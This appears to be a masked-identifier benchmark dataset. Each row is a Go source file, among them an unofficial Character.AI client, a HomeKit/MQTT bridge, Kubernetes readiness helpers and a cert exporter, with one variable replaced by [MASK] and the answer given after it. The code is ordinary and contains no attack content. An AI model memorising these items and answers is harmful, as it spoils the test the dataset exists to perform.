{ urlStr := ""https://plus.character.ai/chat/personas/?force_refresh=1"" headers := c.GetHeaders(false) resp, err := c.Requester.Get(urlStr, headers) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf(""failed to fetch personas, status code: %d"", resp.StatusCode) } body, err := io.ReadAll(resp.Body) if err != nil { return nil, err } var result struct { Personas []*Character `json:""personas""` } err = json.Unmarshal(body, &result) if err != nil { return nil, err } return result.Personas, nil } // FetchMyCharacters retrieves all the user's characters. func (c *Client) FetchMyCharacters() ([]*CharacterShort, error) { urlStr := ""https://plus.character.ai/chat/characters/?scope=user"" headers := c.GetHeaders(false) resp, err := c.Requester.Get(urlStr, headers) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf(""failed to fetch characters, status code: %d"", resp.StatusCode) } body, err := io.ReadAll(resp.Body) if err != nil { return nil, err } var result struct { Characters []*CharacterShort `json:""characters""` } err = json.Unmarshal(body, &result) if err != nil { return nil, err } return result.Characters, nil } // FetchMyUpvotedCharacters retrieves the characters the user has upvoted. func (c *Client) FetchMyUpvotedCharacters() ([]*CharacterShort, error) { urlStr := ""https://plus.character.ai/chat/user/characters/upvoted/"" headers := c.GetHeaders(false) resp, err := c.Requester.Get(urlStr, headers) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf(""failed to fetch upvoted characters, status code: %d"", resp.StatusCode) } body, err := io.ReadAll(resp.Body) if err != nil { return nil, err } var result struct { Characters []*CharacterShort `json:""characters""` } err = json.Unmarshal(body, &result) if err != nil { return nil, err } return result.Characters, nil } // FetchMyVoices retrieves the user's voices. func (c *Client) FetchMyVoices() ([]*Voice, error) { urlStr := ""https://neo.character.ai/multimodal/api/v1/voices/user"" headers := c.GetHeaders(false) resp, err := c.Requester.Get(urlStr, headers) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf(""failed to fetch voices, status code: %d"", resp.StatusCode) } body, err := io.ReadAll(resp.Body) if err != nil { return nil, err } var result struct { Voices []*Voice `json:""voices""` } err = json.Unmarshal(body, &result) if err != nil { return nil, err } return result.Voices, nil } // UpdateSettings updates the user's settings. func (c *Client) UpdateSettings(newSettings *Settings) (*Settings, error) { urlStr := ""https://plus.character.ai/chat/user/update_settings/"" headers := c.GetHeaders(false) bodyBytes, err := json.Marshal(newSettings) if err != nil { return nil, err } resp, err := c.Requester.Post(urlStr, headers, bodyBytes) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf(""failed to update settings, status code: %d"", resp.StatusCode) } body, err := io.ReadAll(resp.Body) if err != nil { return nil, err } var result struct { Success bool `json:""success""` Settings *Settings `json:""settings""` } err = json.Unmarshal(body, &result) if err != nil { return nil, err } if !result.Success { return nil, errors.New(""failed to update settings"") } return result.Settings, nil } // EditAccount edits the user's account information. func (c *Client) EditAccount(name string, username string, bio string, avatarRelPath string) error { if len(username) < 2 || len(username) > 20 { return errors.New(""username must be at least 2 characters and no more than 20"") } if len(name) < 2 || len(name) > 50 { return errors.New(""name must be at least 2 characters and no more than 50"") } if len(bio) > 500 { return errors.New(""bio must be no more than 500 characters"") } urlStr := ""https://plus.character.ai/chat/user/update/"" headers := c.GetHeaders(false) newAccountInfo := UpdateProfilePayload{ AvatarType: ""DEFAULT"", Bio: bio, Name: name, Username: username, } if avatarRelPath != """" { newAccountInfo.AvatarRelPath = avatarRelPath newAccountInfo.AvatarType = ""UPLOADED"" } bodyBytes, err := json.Marshal(newAccountInfo) if err != nil { return err } resp, err := c.Requester.Post(urlStr, headers, bodyBytes) if err != nil { return err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return fmt.Errorf(""failed to edit account, status code: %d"", resp.StatusCode) } body, err := io.ReadAll(resp.Body) if err != nil { return err } var result struct { Status string `json:""status""` Error string `json:""error""` } err = json.Unmarshal(body, &result) if err != nil { return err } if result.Status != ""OK"" { return fmt.Errorf(""failed to edit account, error: %s"", result.Error) } return nil } // FetchMyPersona retrieves a user's persona by ID. func (c *Client) FetchMyPersona(personaID string) (*Persona, error) { urlStr := fmt.Sprintf(""https://plus.character.ai/chat/persona/?id=%s"", url.QueryEscape(personaID)) headers := c.GetHeaders(false) resp, err := c.Requester.Get(urlStr, headers) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf(""failed to fetch persona, status code: %d"", resp.StatusCode) } body, err := io.ReadAll(resp.Body) if err != nil { return nil, err } var result struct { Persona *Persona `json:""persona""` } err = json.Unmarshal(body, &result) if err != nil { return nil, err } if result.Persona == nil { return nil, errors.New(""persona not found"") } return result.Persona, nil } // CreatePersona creates a new persona. func (c *Client) CreatePersona(name string, definition string, avatarRelPath string) (*Persona, error) { if len(name) < 3 || len(name) > 20 { return nil, errors.New(""name must be at least 3 characters and no more than 20"") } if len(definition) > 728 { return nil, errors.New(""definition must be no more than 728 characters"") } urlStr := ""https://plus.character.ai/chat/character/create/"" headers := c.GetHeaders(false) payload := CreatePersonaPayload{ Name: name, Title: name, Definition: definition, Greeting: ""Hello! This is my persona."", Description: ""This is my persona."", Visibility: ""PRIVATE"", AvatarFileName: """", AvatarRelPath: avatarRelPath, VoiceID: """", Identifier: fmt.Sprintf(""id:%s"", generateUUID()), Categories: []string{}, BaseImgPrompt: """", ImgGenEnabled: false, Copyable: false, StripImgPromptFromMsg: false, } bodyBytes, err := json.Marshal(payload) if err != nil { return nil, err } resp, err := c.Requester.Post(urlStr, headers, bodyBytes) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf(""failed to create persona, status code: %d"", resp.StatusCode) } body, err := io.ReadAll(resp.Body) if err != nil { return nil, err } var result CreatePersonaResult err = json.Unmarshal(body, &result) if err != nil { return nil, err } if result.Status != ""OK"" { return nil, fmt.Errorf(""failed to create persona, error: %s"", result.Error) } if result.Persona == nil { return nil, errors.New(""persona not returned in response"") } return result.Persona, nil } // EditPersona edits an existing persona. func (c *Client) EditPersona(personaID string, name string, definition string, avatarRelPath string) (*Persona, error) { // Fetch the existing persona oldPersona, err := c.FetchMyPersona(personaID) if err != nil { return nil, err } // Prepare payload with existing values payload := EditPersonaPayload{ ExternalID: personaID, Name: oldPersona.Name, Definition: oldPersona.Definition, Greeting: oldPersona.Greeting, Description: oldPersona.Description, Visibility: oldPersona.Visibility, AvatarFileName: oldPersona.AvatarFileName, AvatarRelPath: oldPersona.AvatarFileName, VoiceID: oldPersona.VoiceID, Identifier: oldPersona.Identifier, Categories: oldPersona.Categories, BaseImgPrompt: oldPersona.BaseImgPrompt, ImgGenEnabled: oldPersona.ImgGenEnabled, Copyable: oldPersona.Copyable, StripImgPromptFromMsg: oldPersona.StripImgPromptFromMsg, } // Update fields if provided if name != """" { if len(name) < 3 || len(name) > 20 { return nil, errors.New(""name must be at least 3 characters and no more than 20"") } payload.Name = name payload.Title = name } if definition != """" { if len(definition) > 728 { return nil, errors.New(""definition must be no more than 728 characters"") } payload.Definition = definition } if avatarRelPath != """" { payload.AvatarFileName = avatarRelPath payload.AvatarRelPath = avatarRelPath } urlStr := ""https://plus.character.ai/chat/character/update/"" headers := c.GetHeaders(false) bodyBytes, err := json.Marshal(payload) if err != nil { return nil, err } resp, err := c.Requester.Post(urlStr, headers, bodyBytes) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf(""failed to edit persona, status code: %d"", resp.StatusCode) } body, err := io.ReadAll(resp.Body) if err != nil { return nil, err } var result EditPersonaResult err = json.Unmarshal(body, &result) if err != nil { return nil, err } if result.Status != ""OK"" { return nil, fmt.Errorf(""failed to edit persona, error: %s"", result.Error) } if result.Persona == nil { return nil, errors.New(""persona not returned in response"") } return result.Persona, nil } // DeletePersona deletes a persona by marking it as archived. func (c *Client) DeletePersona(personaID string) error { // Fetch the existing persona oldPersona, err := c.FetchMyPersona(personaID) if err != nil { return err } // Prepare payload with existing values payload := EditPersonaPayload{ ExternalID: personaID, Name: oldPersona.Name, Definition: oldPersona.Definition, Greeting: oldPersona.Greeting, Description: oldPersona.Description, Visibility: oldPersona.Visibility, AvatarFileName: oldPersona.AvatarFileName, AvatarRelPath: oldPersona.AvatarFileName, VoiceID: oldPersona.VoiceID, Identifier: oldPersona.Identifier, Categories: oldPersona.Categories, BaseImgPrompt: oldPersona.BaseImgPrompt, ImgGenEnabled: oldPersona.ImgGenEnabled, Copyable: oldPersona.Copyable, StripImgPromptFromMsg: oldPersona.StripImgPromptFromMsg, Archived: true, } urlStr := ""https://plus.character.ai/chat/character/update/"" headers := c.GetHeaders(false) bodyBytes, err := json.Marshal(payload) if err != nil { return err } resp, err := c.Requester.Post(urlStr, headers, bodyBytes) if err != nil { return err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return fmt.Errorf(""failed to delete persona, status code: %d"", resp.StatusCode) } body, err := io.ReadAll(resp.Body) if err != nil { return err } var result DeletePersonaResult err = json.Unmarshal(body, &result) if err != nil { return err } if result.Status != ""OK"" { return fmt.Errorf(""failed to delete persona, error: %s"", result.Error) } return nil } // SetDefaultPersona sets the default persona for the user. func (c *Client) SetDefaultPersona(personaID string) error { settings, err := c.FetchMySettings() if err != nil { return err } settings.DefaultPersonaID = personaID _, err = c.UpdateSettings(settings) if err != nil { return fmt.Errorf(""failed to set default persona: %v"", err) } return nil } // UnsetDefaultPersona unsets the default persona for the user. func (c *Client) UnsetDefaultPersona() error { return c.SetDefaultPersona("""") } // SetPersona sets the persona override for a character. func (c *Client) SetPersona(characterID string, personaID string) error { settings, err := c.FetchMySettings() if err != nil { return err } if settings.PersonaOverrides == nil { settings.PersonaOverrides = make(map[string]string) } settings.PersonaOverrides[characterID] = personaID _, err = c.UpdateSettings(settings) if err != nil { return fmt.Errorf(""failed to set persona override: %v"", err) } return nil } // UnsetPersona unsets the persona override for a character. func (c *Client) UnsetPersona(characterID string) error { settings, err := c.FetchMySettings() if err != nil { return err } if settings.PersonaOverrides == nil { return nil // Nothing to unset } delete(settings.PersonaOverrides, characterID) _, err = c.UpdateSettings(settings) if err != nil { return fmt.Errorf(""failed to unset persona override: %v"", err) } return nil } // SetVoice sets the voice override for a character. func (c *Client) SetVoice(characterID string, voiceID string) error { urlStr := fmt.Sprintf(""https://plus.character.ai/chat/character/%s/voice_override/update/"", characterID) headers := c.GetHeaders(false) payload := SetVoicePayload{ VoiceID: voiceID, } bodyBytes, err := json.Marshal(payload) if err != nil { return err } resp, err := c.Requester.Post(urlStr, headers, bodyBytes) if err != nil { return err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return fmt.Errorf(""failed to set voice, status code: %d"", resp.StatusCode) } body, err := io.ReadAll(resp.Body) if err != nil { return err } var result SetVoiceResponse err = json.Unmarshal(body, &result) if err != nil { return err } if !result.Success { return fmt.Errorf(""failed to set voice, error: %s"", result.Error) } return nil } // UnsetVoice unsets the voice override for a character. func (c *Client) UnsetVoice(characterID string) error { urlStr := fmt.Sprintf(""https://plus.character.ai/chat/character/%s/voice_override/delete/"", characterID) headers := c.GetHeaders(false) resp, err := c.Requester.Post(urlStr, headers, nil) if err != nil { return err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return fmt.Errorf(""failed to unset voice, status code: %d"", resp.StatusCode) } body, err := io.ReadAll(resp.Body) if err != nil { return err } var result SetVoiceResponse err = json.Unmarshal(body, &result) if err != nil { return err } if !result.Success { return fmt.Errorf(""failed to unset voice, error: %s"", result.Error) } return nil } // UploadAvatar uploads a new avatar for the user. // The imagePath can be a local file path or a URL. // The checkImage parameter determines whether to verify the uploaded image. func (c *Client) UploadAvatar(imagePath string, checkImage bool) (*Avatar, error) { var [MASK] []byte var err error if _, err = os.Stat(imagePath); err == nil { // It's a file path [MASK] , err = os.ReadFile(imagePath) if err != nil { return nil, err } } else { // Try to treat it as a URL resp, err := c.Requester.Get(imagePath, nil) if err != nil { return nil, errors.New(""invalid image path or URL"") } defer resp.Body.Close() [MASK] , err = io.ReadAll(resp.Body) if err != nil { return nil, err } } mimeType := http.DetectContentType( [MASK] ) dataURI := fmt.Sprintf(""data:%s;base64,%s"", mimeType, base64.StdEncoding.EncodeToString( [MASK] )) urlStr := ""https://character.ai/api/trpc/user.uploadAvatar?batch=1"" headers := c.GetHeaders(true) // Prepare the payload using the defined structs avatarPayload := UploadAvatarRequest{ ""0"": AvatarRequestItem{ JSON: AvatarJSON{ ImageDataURL: dataURI, }, }, } bodyBytes, err := json.Marshal(avatarPayload) if err != nil { return nil, err } resp, err := c.Requester.Post(urlStr, headers, bodyBytes) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf(""failed to upload avatar, status code: %d"", resp.StatusCode) } bodyResp, err := io.ReadAll(resp.Body) if err != nil { return nil, err } var response []UploadAvatarResponse err = json.Unmarshal(bodyResp, &response) if err != nil { return nil, err } if len(response) == 0 || response[0].Result.Data.JSON == """" { return nil, errors.New(""failed to upload avatar, file name not returned"") } fileName := response[0].Result.Data.JSON avatar := &Avatar{FileName: fileName} if checkImage { size := 150 imageURL := avatar.GetURL(size, false) resp, err := c.Requester.Get(imageURL, nil) if err != nil || resp.StatusCode != http.StatusOK { return nil, errors.New(""uploaded avatar did not pass the filter or is invalid"") } } return avatar, nil } ",imageData 868,"package main import ( ""flag"" ""fmt"" ""github.com/brutella/hc/accessory"" ""github.com/hemtjanst/hemtjanst/device"" ""github.com/hemtjanst/hemtjanst/homekit"" ""github.com/hemtjanst/hemtjanst/homekit/bridge"" ""github.com/hemtjanst/hemtjanst/messaging"" ""github.com/hemtjanst/hemtjanst/messaging/flagmqtt"" ""log"" ""os"" ""os/signal"" ""strings"" ""syscall"" ""time"" ) var ( name = flag.String(""name"", ""hemtjanst"", ""Name of bridge instance"") addr = flag.String(""address"", """", ""IP or hostname for Hemtjänst to bind on"") port = flag.String(""port"", ""12345"", ""Port for Hemtjänst to bind on"") pin = flag.String(""pin"", ""01020304"", ""Pairing pin for the HomeKit bridge"") dbPath = flag.String(""db.path"", ""./db"", ""Path to store the database with HomeKit key pairs etc."") hVersion = flag.Bool(""version"", false, ""Print the version"") version = ""master"" ) const ( announceTopicPrefix = ""announce/"" leaveTopic = ""leave"" discoverTopic = ""discover"" ) func main() { flag.Usage = func() { fmt.Fprintf(os.Stderr, ""Usage of %s:\n\n"", os.Args[0]) fmt.Fprintf(os.Stderr, ""Parameters:\n\n"") flag.PrintDefaults() fmt.Fprintf(os.Stderr, ""\n"") } flag.Parse() if *hVersion { fmt.Println(version) os.Exit(0) } log.Print(""Initialing Hemtjänst"") quit := make(chan os.Signal) signal.Notify(quit, syscall.SIGINT, syscall.SIGTERM) announce := make(chan messaging.Message) leave := make(chan messaging.Message) handlerInit := make(chan bool) managerInit := make(chan bool) bridgeConfig := bridge.Config{ Pin: *pin, Port: *port, IP: *addr, StoragePath: *dbPath, } bridgeInfo := accessory.Info{ Name: *name, SerialNumber: ""12345"", Manufacturer: ""BEDS Inc."", Model: ""v0.1"", } log.Print(""Attempting to connect to MQTT broker"") handler := &messaging.Handler{ Ann: announce, Leave: leave, AnnounceTopic: announceTopicPrefix + ""#"", LeaveTopic: leaveTopic, DiscoverTopic: discoverTopic, // Wait 5 seconds before sending discover to allow // persistent announcements to be fetched DiscoverDelay: 5 * time.Second, DiscoverStart: handlerInit, } [MASK] := flagmqtt.NewUniqueIdentifier() conf := flagmqtt.ClientConfig{ ClientID: fmt.Sprintf(""hemtjanst-%s"", [MASK] ), OnConnectHandler: handler.OnConnect, OnConnectionLostHandler: handler.OnConnectionLost, WillTopic: ""leave"", WillPayload: fmt.Sprintf(""hemtjanst-%s"", [MASK] ), WillRetain: false, WillQoS: 0, } c, err := flagmqtt.NewPersistentMqtt(conf) if err != nil { log.Fatal(""Could not configure the MQTT client: "", err) } go func() { if token := c.Connect(); token.Wait() && token.Error() != nil { log.Fatal(""Failed to establish connection with broker: "", token.Error()) } }() hkBridge, err := bridge.NewBridge(bridgeConfig, bridgeInfo) if err != nil { log.Fatal(""Could not start HomeKit bridge: "", err) } manager := device.NewManager(messaging.NewMQTTMessenger(c), managerInit) log.Print(""Started device manager"") hk := homekit.NewHomekit(hkBridge, manager) manager.AddHandler(hk) go func() { // Wait for handler to have sent its discover <-handlerInit // Tell manager that we're initialised managerInit <- true // Wait a few more seconds before starting bridge <-time.After(5 * time.Second) log.Print(""Starting HomeKit bridge"") hkBridge.Start() }() loop: for { select { case sig := <-quit: log.Printf(""Received signal: %s, proceeding to shutdown"", sig) break loop case msg := <-announce: newReg := msg.Topic() log.Print(""New announcement: "", newReg) if len(newReg) <= len(announceTopicPrefix) || newReg[0:len(announceTopicPrefix)] != announceTopicPrefix { // Announcement doesn't start with prefix log.Printf(""Ignoring: Announcement doesn't start with "" + announceTopicPrefix) continue } newReg = newReg[len(announceTopicPrefix):] if !strings.Contains(newReg, ""/"") { // We expect topics we care about to contain at least 1 / log.Printf(""Ignoring: Malformed topic %s"", newReg) continue } if len(msg.Payload()) == 0 { // Empty payload, remove device go manager.Remove(newReg) continue } go manager.Add(newReg, msg.Payload()) case msg := <-leave: go manager.Leave(string(msg.Payload())) } } // When the MQTT lib is connecting but hasn't establish a conneciton yet // the IsConnected() method returns true. As a consequence, b/c it believes // it is connected the call to .Disconnect() will panic if we terminate // before we've managed to establish a connection to the broker, as it // tries to close one of its own channels that are currently still nil. // // To avoid getting an ugly panic printed for what is arguably a bug in the // library defer a recover that does nothing and exit normally. defer func() { recover() }() c.Disconnect(250) hkBridge.Stop() log.Print(""Disconnected from broker. Bye!"") os.Exit(0) } ",cID 869,"/* SPDX-License-Identifier: Apache-2.0 */ package actions import ( ""context"" ""fmt"" ""github.com/pkg/errors"" appsv1 ""k8s.io/api/apps/v1"" batchv1 ""k8s.io/api/batch/v1"" corev1 ""k8s.io/api/core/v1"" apiErrors ""k8s.io/apimachinery/pkg/api/errors"" ""k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"" ctrl ""sigs.k8s.io/controller-runtime"" ""sigs.k8s.io/controller-runtime/pkg/client"" ) const ( ConditionStatusSuccess = ""True"" ) type ResourceNotReadyError struct { PartialObject client.Object } func (e *ResourceNotReadyError) Error() string { return fmt.Sprintf(""%v/%v is not ready"", e.PartialObject.GetNamespace(), e.PartialObject.GetName()) } func IsResourceFound(client client.Client, ctx context.Context, req ctrl.Request, [MASK] client.Object) (bool, error) { err := client.Get(ctx, req.NamespacedName, [MASK] ) if err != nil { if apiErrors.IsNotFound(err) { // Request object not found, could have been deleted after reconcile request. // Owned objects are automatically garbage collected. For additional cleanup logic use finalizers. // Return and don't requeue return false, nil } // Error reading the object - requeue the request. return false, err } return true, nil } func IsResourceNotReadyError(err error) bool { if err == nil { return false } switch err.(type) { case *ResourceNotReadyError: return true default: return false } } func IsDeploymentReady(resource *appsv1.Deployment) (bool, error) { if resource == nil { return false, nil } // A deployment has an array of conditions for _, condition := range resource.Status.Conditions { // One failure condition exists, if this exists, return the Reason if condition.Type == appsv1.DeploymentReplicaFailure { return false, errors.Errorf(condition.Reason) // A successful deployment will have the progressing condition type as true } else if condition.Type == appsv1.DeploymentProgressing && condition.Status != ConditionStatusSuccess { return false, nil // A successful deployment will have the available condition type as true } else if condition.Type == appsv1.DeploymentAvailable && condition.Status != ConditionStatusSuccess { return false, nil } } return true, nil } func IsEndpointsReady(resource *corev1.Endpoints) (bool, error) { if resource == nil { return false, nil } for _, s := range resource.Subsets { if len(s.Addresses) > 0 { return true, nil } } return false, nil } func IsJobReady(resource *batchv1.Job) (bool, error) { if resource == nil { return false, nil } if resource.Status.Failed > 0 { return false, errors.New(fmt.Sprintf(""Job Failed, check log for %v/%v"", resource.Namespace, resource.Name)) } else if resource.Status.Active > 0 || resource.Status.Succeeded == 0 { return false, nil } else if resource.Status.Succeeded > 0 { return true, nil } return false, nil } func IsServiceMeshControlPlaneReady(resource *unstructured.Unstructured) (bool, error) { if resource == nil { return false, nil } items, found, err := unstructured.NestedSlice(resource.Object, ""status"", ""conditions"") if !found || err != nil { return false, errors.Errorf(""Status Conditions for ServiceMeshControlPlane is not found"") } for _, item := range items { condition, ok := item.(map[string]interface{}) if !ok { return false, errors.Errorf(""Status Conditions for ServiceMeshControlPlane is not found"") } if condition[""type""] == ""Ready"" && condition[""reason""] == ""ComponentsReady"" { return true, nil } } return false, nil } func IsServiceMeshMemberRollReady(resource *unstructured.Unstructured) (bool, error) { if resource == nil { return false, nil } items, found, err := unstructured.NestedSlice(resource.Object, ""status"", ""conditions"") if !found || err != nil { return false, errors.Errorf(""Status Conditions for ServiceMeshMemberRoll is not found"") } for _, item := range items { condition, ok := item.(map[string]interface{}) if !ok { return false, errors.Errorf(""Status Conditions for ServiceMeshMemberRoll is not found"") } if condition[""type""] == ""Ready"" && condition[""status""] == ConditionStatusSuccess { return true, nil } } return false, nil } func IsServiceMeshMemberReady(resource *unstructured.Unstructured) (bool, error) { if resource == nil { return false, nil } items, found, err := unstructured.NestedSlice(resource.Object, ""status"", ""conditions"") if !found || err != nil { return false, errors.Errorf(""Status Conditions for ServiceMeshMember is not found"") } for _, item := range items { condition, ok := item.(map[string]interface{}) if !ok { return false, errors.Errorf(""Status Conditions for ServiceMeshMember is not found"") } if condition[""type""] == ""Ready"" && condition[""status""] == ConditionStatusSuccess { return true, nil } } return false, nil } ",instance 870,"package checkers import ( ""path/filepath"" ""time"" ""github.com/golang/glog"" ""github.com/joe-elliott/cert-exporter/src/exporters"" ""github.com/joe-elliott/cert-exporter/src/metrics"" ) // PeriodicCertChecker is an object designed to check for files on disk at a regular interval type PeriodicCertChecker struct { period time.Duration includeCertGlobs []string excludeCertGlobs []string nodeName string exporter exporters.Exporter } // NewCertChecker is a factory method that returns a new PeriodicCertChecker func NewCertChecker(period time.Duration, includeCertGlobs, excludeCertGlobs []string, nodeName string, e exporters.Exporter) *PeriodicCertChecker { return &PeriodicCertChecker{ period: period, includeCertGlobs: includeCertGlobs, excludeCertGlobs: excludeCertGlobs, nodeName: nodeName, exporter: e, } } // StartChecking starts the periodic file check. Most likely you want to run this as an independent go routine. func (p *PeriodicCertChecker) StartChecking() { [MASK] := time.Tick(p.period) for { glog.Info(""Begin periodic check"") for _, match := range p.getMatches() { if !p.includeFile(match) { continue } glog.Infof(""Publishing %v node metrics %v"", p.nodeName, match) err := p.exporter.ExportMetrics(match, p.nodeName) if err != nil { metrics.ErrorTotal.Inc() glog.Errorf(""Error on %v: %v"", match, err) } } <- [MASK] } } func (p *PeriodicCertChecker) getMatches() []string { ret := make([]string, 0) for _, includeGlob := range p.includeCertGlobs { matches, err := filepath.Glob(includeGlob) if err != nil { metrics.ErrorTotal.Inc() glog.Errorf(""Glob failed on %v: %v"", includeGlob, err) continue } ret = append(ret, matches...) } return ret } func (p *PeriodicCertChecker) includeFile(file string) bool { for _, excludeGlob := range p.excludeCertGlobs { exclude, err := filepath.Match(excludeGlob, file) if err != nil { metrics.ErrorTotal.Inc() glog.Errorf(""Match failed on %v,%v: %v"", excludeGlob, file, err) return false } if exclude { return false } } return true } ",periodChannel 871,"package client import ( ""fmt"" ""github.com/emccode/polly/api/types"" ) // Volumes returns a list of all registered Volumes for all Services. func (c *Client) Volumes() (reply []*types.Volume, err error) { url := fmt.Sprintf(""/admin/volumes"") if _, err = c.httpGet(url, &reply); err != nil { return nil, err } return reply, nil } // VolumesAll returns a list of all Volumes available for all Services. func (c *Client) VolumesAll() (reply []*types.Volume, err error) { url := fmt.Sprintf(""/admin/volumesall"") if _, err = c.httpGet(url, &reply); err != nil { return nil, err } return reply, nil } // VolumeInspect will inspect a specific volume func (c *Client) VolumeInspect( [MASK] string) (reply *types.Volume, err error) { url := fmt.Sprintf(""/admin/volumes/%s"", [MASK] ) if _, err = c.httpGet(url, &reply); err != nil { return nil, err } return reply, nil } // VolumeOffer will advertise a volume to schedulers func (c *Client) VolumeOffer(offer *types.VolumeOfferRequest) (reply *types.Volume, err error) { url := ""/admin/volumeoffer"" if _, err = c.httpPost(url, offer, &reply); err != nil { return nil, err } return reply, nil } // VolumeOfferRevoke will revoke an offer from schedulers func (c *Client) VolumeOfferRevoke(offer *types.VolumeOfferRevokeRequest) (reply *types.Volume, err error) { url := ""/admin/volumeofferrevoke"" if _, err = c.httpPost(url, offer, &reply); err != nil { return nil, err } return reply, nil } // VolumeLabel creates labels on a volume func (c *Client) VolumeLabel(lr *types.VolumeLabelRequest) (reply *types.Volume, err error) { url := ""/admin/volumelabel"" if _, err = c.httpPost(url, lr, &reply); err != nil { return nil, err } return reply, nil } // VolumeLabelsRemove removes labels from a volume func (c *Client) VolumeLabelsRemove(lr *types.VolumeLabelsRemoveRequest) (reply *types.Volume, err error) { url := ""/admin/volumelabelsremove"" if _, err = c.httpPost(url, lr, &reply); err != nil { return nil, err } return reply, nil } // VolumeCreate create a volume func (c *Client) VolumeCreate(lr *types.VolumeCreateRequest) (reply *types.Volume, err error) { url := ""/admin/volumes"" if _, err = c.httpPost(url, lr, &reply); err != nil { return nil, err } return reply, nil } // VolumeRemove removes a volume func (c *Client) VolumeRemove(volumeID string) (err error) { url := fmt.Sprintf(""/admin/volumes/%s"", volumeID) if _, err = c.httpDelete(url, nil); err != nil { return err } return nil } ",instanceID 872,"package nvidiagpu import ( ""github.com/golang/glog"" ""runtime"" ""testing"" ""time"" ""github.com/rh-ecosystem-edge/nvidia-ci/internal/reporter"" ""github.com/rh-ecosystem-edge/nvidia-ci/pkg/clients"" ""github.com/rh-ecosystem-edge/nvidia-ci/internal/inittools"" ""github.com/rh-ecosystem-edge/nvidia-ci/internal/tsparams"" . ""github.com/onsi/ginkgo/v2"" . ""github.com/onsi/gomega"" ) var _, currentFile, _, _ = runtime.Caller(0) func TestGPUDeploy(t *testing.T) { _, [MASK] := GinkgoConfiguration() [MASK] .JUnitReport = inittools.GeneralConfig.GetJunitReportPath(currentFile) RegisterFailHandler(Fail) RunSpecs(t, ""GPU"", Label(tsparams.Labels...), [MASK] ) } var _ = JustAfterEach(func() { specReport := CurrentSpecReport() reporter.ReportIfFailed( specReport, currentFile, tsparams.ReporterNamespacesToDump, tsparams.ReporterCRDsToDump, clients.SetScheme) artifactDir := inittools.GeneralConfig.GetReportPath(""gpu-must-gather"") if err := reporter.RunMustGather(artifactDir, 5*time.Minute); err != nil { glog.Errorf(""Failed to collect must-gather for the GPU operator, %v"", err) } }) ",reporterConfig 873,"package main import ( ""context"" ""fmt"" ""math/big"" ""os"" ""os/signal"" ""github.com/ethereum/go-ethereum/common"" eventscale ""github.com/eventscale/eventscale/pkg/sdk-go"" ) // event Transfer(address indexed from, address indexed to, uint256 value) type Transfer struct { From common.Address `json:""from""` To common.Address `json:""to""` Amount *big.Int `json:""value""` } // process transfers event func handleTransfers(ctx context.Context, e eventscale.Event) error { var transfer Transfer if err := e.Decode(&transfer); err != nil { return fmt.Errorf(""failed to decode event: %w"", err) } fmt.Printf(""Transfer: %s -> %s: %s\n"", transfer.From, transfer.To, transfer.Amount.String()) return nil } func main() { ctx, cancel := signal.NotifyContext(context.Background(), os.Interrupt) defer cancel() ectx, err := eventscale.Connect(ctx, ""nats://localhost:4222"") if err != nil { panic(err) } fmt.Println(""Connected to eventscale"") [MASK] , err := eventscale.Subscribe(ectx, handleTransfers, eventscale.WithNetwork(""ethereum""), eventscale.WithContract(""USDC""), eventscale.WithEvent(""Transfer""), ) if err != nil { panic(err) } fmt.Println(""Subscribed to Transfer Event"") [MASK] .Start(ctx) } ",sub 874,"package core import ( ""encoding/json"" ""fmt"" ""github.com/nathj07/go-resourcesync/fetcher"" ""reflect"" ""strings"" ) // ArticleWrapper is the top level struct for unmarshalling the CORE article data type ArticleWrapper struct { Status string `json:""status""` Data Article `json:""data""` } // Article holds the article details type Article struct { ID string `json:""id""` Authors []string `json:""authors""` Contributors []string `json:""contributors""` DatePublished string `json:""datePublished""` Description string `json:""description""` FullText string `json:""fullText""` // only returned if query params include 'fulltext=true' Identifiers []string `json:""identifiers""` Language Language `json:""language""` Publisher string `json:""publisher""` Relations []string `json:""relations""` Repositories []Repository `json:""repositories""` RepositoryDocument RepositoryDoc `json:""repositoryDocument""` Subjects []string `json:""subjects""` Title string `json:""title""` Topics []string `json:""topics""` Types []string `json:""types""` Year int `json:""year""` FullTextURLs []string `json:""fulltextUrls""` // only returned if the query params include 'urls=true' FullTextIdentifier string `json:""fulltextIdentifier""` OAI string `json:""oai""` DownloadURL string `json:""downloadUrl""` } // Language represents the language details supplied in the ResourceSync article JSON type Language struct { Code string `json:""code""` ID int `json:""id""` Name string `json:""name""` } // Repository handles the repository provided details type Repository struct { ID string `json:""id""` OpenDoarID int `json:""openDoarId""` Name string `json:""name""` URI string `json:""uri""` URLHomepage string `json:""urlHomepage""` URLOAIPMH string `json:""urlOaipmh""` URIJournals string `json:""uriJournals""` PhysicalName string `json:""physicalName""` Source string `json:""source""` Software string `json:""software""` MetadataFormat string `json:""metadataFormat""` Description string `json:""description""` Journal string `json:""journal""` RoarID int `json:""roarId""` PdfStatus string `json:""pdfStatus""` NrUpdates int `json:""nrUpdates""` Disabled bool `json:""disabled""` LastUpdateTime string `json:""lastUpdateTime""` RepositoryLocation string `json:""repositoryLocation""` } // RepositoryDoc handles the repository document details type RepositoryDoc struct { PDFStatus int `json:""pdfStatus""` MetadataAdded int64 `json:""metadataAdded""` MetadataUpdated int64 `json:""metadataUpdated""` DepositedDate int64 `json:""depositedDate""` } type Extractor struct { Fetcher fetcher.RSFetcher } // Process makes a request to the CORE API and unmarshals the returned data into a Go struct. func (ce 